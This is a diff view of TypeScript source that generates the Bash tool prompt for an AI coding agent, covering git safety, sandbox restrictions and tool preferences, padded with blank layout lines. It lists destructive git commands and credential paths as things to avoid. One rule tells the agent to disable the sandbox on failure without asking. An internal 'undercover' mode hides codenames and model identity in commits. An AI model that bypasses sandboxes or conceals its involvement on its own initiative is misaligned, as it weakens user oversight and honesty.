|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { feature } from 'bun:bundle'
|
| 2 |
+
import { prependBullets } from '../../constants/prompts.js'
|
| 3 |
+
import { getAttributionTexts } from '../../utils/attribution.js'
|
| 4 |
+
import { hasEmbeddedSearchTools } from '../../utils/embeddedTools.js'
|
| 5 |
+
import { isEnvTruthy } from '../../utils/envUtils.js'
|
| 6 |
+
import { shouldIncludeGitInstructions } from '../../utils/gitSettings.js'
|
| 7 |
+
import { getClaudeTempDir } from '../../utils/permissions/filesystem.js'
|
| 8 |
+
import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
|
| 9 |
+
import { jsonStringify } from '../../utils/slowOperations.js'
|
| 10 |
+
import {
|
| 11 |
+
getDefaultBashTimeoutMs,
|
| 12 |
+
getMaxBashTimeoutMs,
|
| 13 |
+
} from '../../utils/timeouts.js'
|
| 14 |
+
import {
|
| 15 |
+
getUndercoverInstructions,
|
| 16 |
+
isUndercover,
|
| 17 |
+
} from '../../utils/undercover.js'
|
| 18 |
+
import { AGENT_TOOL_NAME } from '../AgentTool/constants.js'
|
| 19 |
+
import { FILE_EDIT_TOOL_NAME } from '../FileEditTool/constants.js'
|
| 20 |
+
import { FILE_READ_TOOL_NAME } from '../FileReadTool/prompt.js'
|
| 21 |
+
import { FILE_WRITE_TOOL_NAME } from '../FileWriteTool/prompt.js'
|
| 22 |
+
import { GLOB_TOOL_NAME } from '../GlobTool/prompt.js'
|
| 23 |
+
import { GREP_TOOL_NAME } from '../GrepTool/prompt.js'
|
| 24 |
+
import { TodoWriteTool } from '../TodoWriteTool/TodoWriteTool.js'
|
| 25 |
+
import { BASH_TOOL_NAME } from './toolName.js'
|
| 26 |
+
|
| 27 |
+
export function getDefaultTimeoutMs(): number {
|
| 28 |
+
return getDefaultBashTimeoutMs()
|
| 29 |
+
}
|
| 30 |
+
|
| 31 |
+
export function getMaxTimeoutMs(): number {
|
| 32 |
+
return getMaxBashTimeoutMs()
|
| 33 |
+
}
|
| 34 |
+
|
| 35 |
+
function getBackgroundUsageNote(): string | null {
|
| 36 |
+
if (isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS)) {
|
| 37 |
+
return null
|
| 38 |
+
}
|
| 39 |
+
return "You can use the `run_in_background` parameter to run the command in the background. Only use this if you don't need the result immediately and are OK being notified when the command completes later. You do not need to check the output right away - you'll be notified when it finishes. You do not need to use '&' at the end of the command when using this parameter."
|
| 40 |
+
}
|
| 41 |
+
|
| 42 |
+
function getCommitAndPRInstructions(): string {
|
| 43 |
+
// Defense-in-depth: undercover instructions must survive even if the user
|
| 44 |
+
// has disabled git instructions entirely. Attribution stripping and model-ID
|
| 45 |
+
// hiding are mechanical and work regardless, but the explicit "don't blow
|
| 46 |
+
// your cover" instructions are the last line of defense against the model
|
| 47 |
+
// volunteering an internal codename in a commit message.
|
| 48 |
+
const undercoverSection =
|
| 49 |
+
process.env.USER_TYPE === 'ant' && isUndercover()
|
| 50 |
+
? getUndercoverInstructions() + '\n'
|
| 51 |
+
: ''
|
| 52 |
+
|
| 53 |
+
if (!shouldIncludeGitInstructions()) return undercoverSection
|
| 54 |
+
|
| 55 |
+
// For ant users, use the short version pointing to skills
|
| 56 |
+
if (process.env.USER_TYPE === 'ant') {
|
| 57 |
+
const skillsSection = !isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE)
|
| 58 |
+
? `For git commits and pull requests, use the \`/commit\` and \`/commit-push-pr\` skills:
|
| 59 |
+
- \`/commit\` - Create a git commit with staged changes
|
| 60 |
+
- \`/commit-push-pr\` - Commit, push, and create a pull request
|
| 61 |
+
|
| 62 |
+
These skills handle git safety protocols, proper commit message formatting, and PR creation.
|
| 63 |
+
|
| 64 |
+
Before creating a pull request, run \`/simplify\` to review your changes, then test end-to-end (e.g. via \`/tmux\` for interactive features).
|
| 65 |
+
|
| 66 |
+
`
|
| 67 |
+
: ''
|
| 68 |
+
return `${undercoverSection}# Git operations
|
| 69 |
+
|
| 70 |
+
${skillsSection}IMPORTANT: NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it.
|
| 71 |
+
|
| 72 |
+
Use the gh command via the Bash tool for other GitHub-related tasks including working with issues, checks, and releases. If given a Github URL use the gh command to get the information needed.
|
| 73 |
+
|
| 74 |
+
# Other common operations
|
| 75 |
+
- View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
|
| 76 |
+
}
|
| 77 |
+
|
| 78 |
+
// For external users, include full inline instructions
|
| 79 |
+
const { commit: commitAttribution, pr: prAttribution } = getAttributionTexts()
|
| 80 |
+
|
| 81 |
+
return `# Committing changes with git
|
| 82 |
+
|
| 83 |
+
Only create commits when requested by the user. If unclear, ask first. When the user asks you to create a new git commit, follow these steps carefully:
|
| 84 |
+
|
| 85 |
+
You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. The numbered steps below indicate which commands should be batched in parallel.
|
| 86 |
+
|
| 87 |
+
Git Safety Protocol:
|
| 88 |
+
- NEVER update the git config
|
| 89 |
+
- NEVER run destructive git commands (push --force, reset --hard, checkout ., restore ., clean -f, branch -D) unless the user explicitly requests these actions. Taking unauthorized destructive actions is unhelpful and can result in lost work, so it's best to ONLY run these commands when given direct instructions
|
| 90 |
+
- NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it
|
| 91 |
+
- NEVER run force push to main/master, warn the user if they request it
|
| 92 |
+
- CRITICAL: Always create NEW commits rather than amending, unless the user explicitly requests a git amend. When a pre-commit hook fails, the commit did NOT happen — so --amend would modify the PREVIOUS commit, which may result in destroying work or losing previous changes. Instead, after hook failure, fix the issue, re-stage, and create a NEW commit
|
| 93 |
+
- When staging files, prefer adding specific files by name rather than using "git add -A" or "git add .", which can accidentally include sensitive files (.env, credentials) or large binaries
|
| 94 |
+
- NEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive
|
| 95 |
+
|
| 96 |
+
1. Run the following bash commands in parallel, each using the ${BASH_TOOL_NAME} tool:
|
| 97 |
+
- Run a git status command to see all untracked files. IMPORTANT: Never use the -uall flag as it can cause memory issues on large repos.
|
| 98 |
+
- Run a git diff command to see both staged and unstaged changes that will be committed.
|
| 99 |
+
- Run a git log command to see recent commit messages, so that you can follow this repository's commit message style.
|
| 100 |
+
2. Analyze all staged changes (both previously staged and newly added) and draft a commit message:
|
| 101 |
+
- Summarize the nature of the changes (eg. new feature, enhancement to an existing feature, bug fix, refactoring, test, docs, etc.). Ensure the message accurately reflects the changes and their purpose (i.e. "add" means a wholly new feature, "update" means an enhancement to an existing feature, "fix" means a bug fix, etc.).
|
| 102 |
+
- Do not commit files that likely contain secrets (.env, credentials.json, etc). Warn the user if they specifically request to commit those files
|
| 103 |
+
- Draft a concise (1-2 sentences) commit message that focuses on the "why" rather than the "what"
|
| 104 |
+
- Ensure it accurately reflects the changes and their purpose
|
| 105 |
+
3. Run the following commands in parallel:
|
| 106 |
+
- Add relevant untracked files to the staging area.
|
| 107 |
+
- Create the commit with a message${commitAttribution ? ` ending with:\n ${commitAttribution}` : '.'}
|
| 108 |
+
- Run git status after the commit completes to verify success.
|
| 109 |
+
Note: git status depends on the commit completing, so run it sequentially after the commit.
|
| 110 |
+
4. If the commit fails due to pre-commit hook: fix the issue and create a NEW commit
|
| 111 |
+
|
| 112 |
+
Important notes:
|
| 113 |
+
- NEVER run additional commands to read or explore code, besides git bash commands
|
| 114 |
+
- NEVER use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
|
| 115 |
+
- DO NOT push to the remote repository unless the user explicitly asks you to do so
|
| 116 |
+
- IMPORTANT: Never use git commands with the -i flag (like git rebase -i or git add -i) since they require interactive input which is not supported.
|
| 117 |
+
- IMPORTANT: Do not use --no-edit with git rebase commands, as the --no-edit flag is not a valid option for git rebase.
|
| 118 |
+
- If there are no changes to commit (i.e., no untracked files and no modifications), do not create an empty commit
|
| 119 |
+
- In order to ensure good formatting, ALWAYS pass the commit message via a HEREDOC, a la this example:
|
| 120 |
+
<example>
|
| 121 |
+
git commit -m "$(cat <<'EOF'
|
| 122 |
+
Commit message here.${commitAttribution ? `\n\n ${commitAttribution}` : ''}
|
| 123 |
+
EOF
|
| 124 |
+
)"
|
| 125 |
+
</example>
|
| 126 |
+
|
| 127 |
+
# Creating pull requests
|
| 128 |
+
Use the gh command via the Bash tool for ALL GitHub-related tasks including working with issues, pull requests, checks, and releases. If given a Github URL use the gh command to get the information needed.
|
| 129 |
+
|
| 130 |
+
IMPORTANT: When the user asks you to create a pull request, follow these steps carefully:
|
| 131 |
+
|
| 132 |
+
1. Run the following bash commands in parallel using the ${BASH_TOOL_NAME} tool, in order to understand the current state of the branch since it diverged from the main branch:
|
| 133 |
+
- Run a git status command to see all untracked files (never use -uall flag)
|
| 134 |
+
- Run a git diff command to see both staged and unstaged changes that will be committed
|
| 135 |
+
- Check if the current branch tracks a remote branch and is up to date with the remote, so you know if you need to push to the remote
|
| 136 |
+
- Run a git log command and \`git diff [base-branch]...HEAD\` to understand the full commit history for the current branch (from the time it diverged from the base branch)
|
| 137 |
+
2. Analyze all changes that will be included in the pull request, making sure to look at all relevant commits (NOT just the latest commit, but ALL commits that will be included in the pull request!!!), and draft a pull request title and summary:
|
| 138 |
+
- Keep the PR title short (under 70 characters)
|
| 139 |
+
- Use the description/body for details, not the title
|
| 140 |
+
3. Run the following commands in parallel:
|
| 141 |
+
- Create new branch if needed
|
| 142 |
+
- Push to remote with -u flag if needed
|
| 143 |
+
- Create PR using gh pr create with the format below. Use a HEREDOC to pass the body to ensure correct formatting.
|
| 144 |
+
<example>
|
| 145 |
+
gh pr create --title "the pr title" --body "$(cat <<'EOF'
|
| 146 |
+
## Summary
|
| 147 |
+
<1-3 bullet points>
|
| 148 |
+
|
| 149 |
+
## Test plan
|
| 150 |
+
[Bulleted markdown checklist of TODOs for testing the pull request...]${prAttribution ? `\n\n${prAttribution}` : ''}
|
| 151 |
+
EOF
|
| 152 |
+
)"
|
| 153 |
+
</example>
|
| 154 |
+
|
| 155 |
+
Important:
|
| 156 |
+
- DO NOT use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
|
| 157 |
+
- Return the PR URL when you're done, so the user can see it
|
| 158 |
+
|
| 159 |
+
# Other common operations
|
| 160 |
+
- View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
|
| 161 |
+
}
|
| 162 |
+
|
| 163 |
+
// SandboxManager merges config from multiple sources (settings layers, defaults,
|
| 164 |
+
// CLI flags) without deduping, so paths like ~/.cache appear 3× in allowOnly.
|
| 165 |
+
// Dedup here before inlining into the prompt — affects only what the model sees,
|
| 166 |
+
// not sandbox enforcement. Saves ~150-200 tokens/request when sandbox is enabled.
|
| 167 |
+
function dedup<T>(arr: T[] | undefined): T[] | undefined {
|
| 168 |
+
if (!arr || arr.length === 0) return arr
|
| 169 |
+
return [...new Set(arr)]
|
| 170 |
+
}
|
| 171 |
+
|
| 172 |
+
function getSimpleSandboxSection(): string {
|
| 173 |
+
if (!SandboxManager.isSandboxingEnabled()) {
|
| 174 |
+
return ''
|
| 175 |
+
}
|
| 176 |
+
|
| 177 |
+
const fsReadConfig = SandboxManager.getFsReadConfig()
|
| 178 |
+
const fsWriteConfig = SandboxManager.getFsWriteConfig()
|
| 179 |
+
const networkRestrictionConfig = SandboxManager.getNetworkRestrictionConfig()
|
| 180 |
+
const allowUnixSockets = SandboxManager.getAllowUnixSockets()
|
| 181 |
+
const ignoreViolations = SandboxManager.getIgnoreViolations()
|
| 182 |
+
const allowUnsandboxedCommands =
|
| 183 |
+
SandboxManager.areUnsandboxedCommandsAllowed()
|
| 184 |
+
|
| 185 |
+
// Replace the per-UID temp dir literal (e.g. /private/tmp/claude-1001/) with
|
| 186 |
+
// "$TMPDIR" so the prompt is identical across users — avoids busting the
|
| 187 |
+
// cross-user global prompt cache. The sandbox already sets $TMPDIR at runtime.
|
| 188 |
+
const claudeTempDir = getClaudeTempDir()
|
| 189 |
+
const normalizeAllowOnly = (paths: string[]): string[] =>
|
| 190 |
+
[...new Set(paths)].map(p => (p === claudeTempDir ? '$TMPDIR' : p))
|
| 191 |
+
|
| 192 |
+
const filesystemConfig = {
|
| 193 |
+
read: {
|
| 194 |
+
denyOnly: dedup(fsReadConfig.denyOnly),
|
| 195 |
+
...(fsReadConfig.allowWithinDeny && {
|
| 196 |
+
allowWithinDeny: dedup(fsReadConfig.allowWithinDeny),
|
| 197 |
+
}),
|
| 198 |
+
},
|
| 199 |
+
write: {
|
| 200 |
+
allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
|
| 201 |
+
denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
|
| 202 |
+
},
|
| 203 |
+
}
|
| 204 |
+
|
| 205 |
+
const networkConfig = {
|
| 206 |
+
...(networkRestrictionConfig?.allowedHosts && {
|
| 207 |
+
allowedHosts: dedup(networkRestrictionConfig.allowedHosts),
|
| 208 |
+
}),
|
| 209 |
+
...(networkRestrictionConfig?.deniedHosts && {
|
| 210 |
+
deniedHosts: dedup(networkRestrictionConfig.deniedHosts),
|
| 211 |
+
}),
|
| 212 |
+
...(allowUnixSockets && { allowUnixSockets: dedup(allowUnixSockets) }),
|
| 213 |
+
}
|
| 214 |
+
|
| 215 |
+
const restrictionsLines = []
|
| 216 |
+
if (Object.keys(filesystemConfig).length > 0) {
|
| 217 |
+
restrictionsLines.push(`Filesystem: ${jsonStringify(filesystemConfig)}`)
|
| 218 |
+
}
|
| 219 |
+
if (Object.keys(networkConfig).length > 0) {
|
| 220 |
+
restrictionsLines.push(`Network: ${jsonStringify(networkConfig)}`)
|
| 221 |
+
}
|
| 222 |
+
if (ignoreViolations) {
|
| 223 |
+
restrictionsLines.push(
|
| 224 |
+
`Ignored violations: ${jsonStringify(ignoreViolations)}`,
|
| 225 |
+
)
|
| 226 |
+
}
|
| 227 |
+
|
| 228 |
+
const sandboxOverrideItems: Array<string | string[]> =
|
| 229 |
+
allowUnsandboxedCommands
|
| 230 |
+
? [
|
| 231 |
+
'You should always default to running commands within the sandbox. Do NOT attempt to set `dangerouslyDisableSandbox: true` unless:',
|
| 232 |
+
[
|
| 233 |
+
'The user *explicitly* asks you to bypass sandbox',
|
| 234 |
+
'A specific command just failed and you see evidence of sandbox restrictions causing the failure. Note that commands can fail for many reasons unrelated to the sandbox (missing files, wrong arguments, network issues, etc.).',
|
| 235 |
+
],
|
| 236 |
+
'Evidence of sandbox-caused failures includes:',
|
| 237 |
+
[
|
| 238 |
+
'"Operation not permitted" errors for file/network operations',
|
| 239 |
+
'Access denied to specific paths outside allowed directories',
|
| 240 |
+
'Network connection failures to non-whitelisted hosts',
|
| 241 |
+
'Unix socket connection errors',
|
| 242 |
+
],
|
| 243 |
+
'When you see evidence of sandbox-caused failure:',
|
| 244 |
+
[
|
| 245 |
+
"Immediately retry with `dangerouslyDisableSandbox: true` (don't ask, just do it)",
|
| 246 |
+
'Briefly explain what sandbox restriction likely caused the failure. Be sure to mention that the user can use the `/sandbox` command to manage restrictions.',
|
| 247 |
+
'This will prompt the user for permission',
|
| 248 |
+
],
|
| 249 |
+
'Treat each command you execute with `dangerouslyDisableSandbox: true` individually. Even if you have recently run a command with this setting, you should default to running future commands within the sandbox.',
|
| 250 |
+
'Do not suggest adding sensitive paths like ~/.bashrc, ~/.zshrc, ~/.ssh/*, or credential files to the sandbox allowlist.',
|
| 251 |
+
]
|
| 252 |
+
: [
|
| 253 |
+
'All commands MUST run in sandbox mode - the `dangerouslyDisableSandbox` parameter is disabled by policy.',
|
| 254 |
+
'Commands cannot run outside the sandbox under any circumstances.',
|
| 255 |
+
'If a command fails due to sandbox restrictions, work with the user to adjust sandbox settings instead.',
|
| 256 |
+
]
|
| 257 |
+
|
| 258 |
+
const items: Array<string | string[]> = [
|
| 259 |
+
...sandboxOverrideItems,
|
| 260 |
+
'For temporary files, always use the `$TMPDIR` environment variable. TMPDIR is automatically set to the correct sandbox-writable directory in sandbox mode. Do NOT use `/tmp` directly - use `$TMPDIR` instead.',
|
| 261 |
+
]
|
| 262 |
+
|
| 263 |
+
return [
|
| 264 |
+
'',
|
| 265 |
+
'## Command sandbox',
|
| 266 |
+
'By default, your command will be run in a sandbox. This sandbox controls which directories and network hosts commands may access or modify without an explicit override.',
|
| 267 |
+
'',
|
| 268 |
+
'The sandbox has the following restrictions:',
|
| 269 |
+
restrictionsLines.join('\n'),
|
| 270 |
+
'',
|
| 271 |
+
...prependBullets(items),
|
| 272 |
+
].join('\n')
|
| 273 |
+
}
|
| 274 |
+
|
| 275 |
+
export function getSimplePrompt(): string {
|
| 276 |
+
// Ant-native builds alias find/grep to embedded bfs/ugrep in Claude's shell,
|
| 277 |
+
// so we don't steer away from them (and Glob/Grep tools are removed).
|
| 278 |
+
const embedded = hasEmbeddedSearchTools()
|
| 279 |
+
|
| 280 |
+
const toolPreferenceItems = [
|
| 281 |
+
...(embedded
|
| 282 |
+
? []
|
| 283 |
+
: [
|
| 284 |
+
`File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
|
| 285 |
+
`Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
|
| 286 |
+
]),
|
| 287 |
+
`Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
|
| 288 |
+
`Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
|
| 289 |
+
`Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
|
| 290 |
+
'Communication: Output text directly (NOT echo/printf)',
|
| 291 |
+
]
|
| 292 |
+
|
| 293 |
+
const avoidCommands = embedded
|
| 294 |
+
? '`cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
|
| 295 |
+
: '`find`, `grep`, `cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
|
| 296 |
+
|
| 297 |
+
const multipleCommandsSubitems = [
|
| 298 |
+
`If the commands are independent and can run in parallel, make multiple ${BASH_TOOL_NAME} tool calls in a single message. Example: if you need to run "git status" and "git diff", send a single message with two ${BASH_TOOL_NAME} tool calls in parallel.`,
|
| 299 |
+
`If the commands depend on each other and must run sequentially, use a single ${BASH_TOOL_NAME} call with '&&' to chain them together.`,
|
| 300 |
+
"Use ';' only when you need to run commands sequentially but don't care if earlier commands fail.",
|
| 301 |
+
'DO NOT use newlines to separate commands (newlines are ok in quoted strings).',
|
| 302 |
+
]
|
| 303 |
+
|
| 304 |
+
const gitSubitems = [
|
| 305 |
+
'Prefer to create a new commit rather than amending an existing commit.',
|
| 306 |
+
'Before running destructive operations (e.g., git reset --hard, git push --force, git checkout --), consider whether there is a safer alternative that achieves the same goal. Only use destructive operations when they are truly the best approach.',
|
| 307 |
+
'Never skip hooks (--no-verify) or bypass signing (--no-gpg-sign, -c commit.gpgsign=false) unless the user has explicitly asked for it. If a hook fails, investigate and fix the underlying issue.',
|
| 308 |
+
]
|
| 309 |
+
|
| 310 |
+
const sleepSubitems = [
|
| 311 |
+
'Do not sleep between commands that can run immediately — just run them.',
|
| 312 |
+
...(feature('MONITOR_TOOL')
|
| 313 |
+
? [
|
| 314 |
+
'Use the Monitor tool to stream events from a background process (each stdout line is a notification). For one-shot "wait until done," use Bash with run_in_background instead.',
|
| 315 |
+
]
|
| 316 |
+
: []),
|
| 317 |
+
'If your command is long running and you would like to be notified when it finishes — use `run_in_background`. No sleep needed.',
|
| 318 |
+
'Do not retry failing commands in a sleep loop — diagnose the root cause.',
|
| 319 |
+
'If waiting for a background task you started with `run_in_background`, you will be notified when it completes — do not poll.',
|
| 320 |
+
...(feature('MONITOR_TOOL')
|
| 321 |
+
? [
|
| 322 |
+
'`sleep N` as the first command with N ≥ 2 is blocked. If you need a delay (rate limiting, deliberate pacing), keep it under 2 seconds.',
|
| 323 |
+
]
|
| 324 |
+
: [
|
| 325 |
+
'If you must poll an external process, use a check command (e.g. `gh run view`) rather than sleeping first.',
|
| 326 |
+
'If you must sleep, keep the duration short (1-5 seconds) to avoid blocking the user.',
|
| 327 |
+
]),
|
| 328 |
+
]
|
| 329 |
+
const backgroundNote = getBackgroundUsageNote()
|
| 330 |
+
|
| 331 |
+
const instructionItems: Array<string | string[]> = [
|
| 332 |
+
'If your command will create new directories or files, first use this tool to run `ls` to verify the parent directory exists and is the correct location.',
|
| 333 |
+
'Always quote file paths that contain spaces with double quotes in your command (e.g., cd "path with spaces/file.txt")',
|
| 334 |
+
'Try to maintain your current working directory throughout the session by using absolute paths and avoiding usage of `cd`. You may use `cd` if the User explicitly requests it.',
|
| 335 |
+
`You may specify an optional timeout in milliseconds (up to ${getMaxTimeoutMs()}ms / ${getMaxTimeoutMs() / 60000} minutes). By default, your command will timeout after ${getDefaultTimeoutMs()}ms (${getDefaultTimeoutMs() / 60000} minutes).`,
|
| 336 |
+
...(backgroundNote !== null ? [backgroundNote] : []),
|
| 337 |
+
'When issuing multiple commands:',
|
| 338 |
+
multipleCommandsSubitems,
|
| 339 |
+
'For git commands:',
|
| 340 |
+
gitSubitems,
|
| 341 |
+
'Avoid unnecessary `sleep` commands:',
|
| 342 |
+
sleepSubitems,
|
| 343 |
+
...(embedded
|
| 344 |
+
? [
|
| 345 |
+
// bfs (which backs `find`) uses Oniguruma for -regex, which picks the
|
| 346 |
+
// FIRST matching alternative (leftmost-first), unlike GNU find's
|
| 347 |
+
// POSIX leftmost-longest. This silently drops matches when a shorter
|
| 348 |
+
// alternative is a prefix of a longer one.
|
| 349 |
+
"When using `find -regex` with alternation, put the longest alternative first. Example: use `'.*\\.\\(tsx\\|ts\\)'` not `'.*\\.\\(ts\\|tsx\\)'` — the second form silently skips `.tsx` files.",
|
| 350 |
+
]
|
| 351 |
+
: []),
|
| 352 |
+
]
|
| 353 |
+
|
| 354 |
+
return [
|
| 355 |
+
'Executes a given bash command and returns its output.',
|
| 356 |
+
'',
|
| 357 |
+
"The working directory persists between commands, but shell state does not. The shell environment is initialized from the user's profile (bash or zsh).",
|
| 358 |
+
'',
|
| 359 |
+
`IMPORTANT: Avoid using this tool to run ${avoidCommands} commands, unless explicitly instructed or after you have verified that a dedicated tool cannot accomplish your task. Instead, use the appropriate dedicated tool as this will provide a much better experience for the user:`,
|
| 360 |
+
'',
|
| 361 |
+
...prependBullets(toolPreferenceItems),
|
| 362 |
+
`While the ${BASH_TOOL_NAME} tool can do similar things, it’s better to use the built-in tools as they provide a better user experience and make it easier to review tool calls and give permission.`,
|
| 363 |
+
'',
|
| 364 |
+
'# Instructions',
|
| 365 |
+
...prependBullets(instructionItems),
|
| 366 |
+
getSimpleSandboxSection(),
|
| 367 |
+
...(getCommitAndPRInstructions() ? ['', getCommitAndPRInstructions()] : []),
|
| 368 |
+
].join('\n')
|
| 369 |
+
}
|
src/tools/BashTool/readOnlyValidation.ts
ADDED
|
@@ -0,0 +1,1990 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
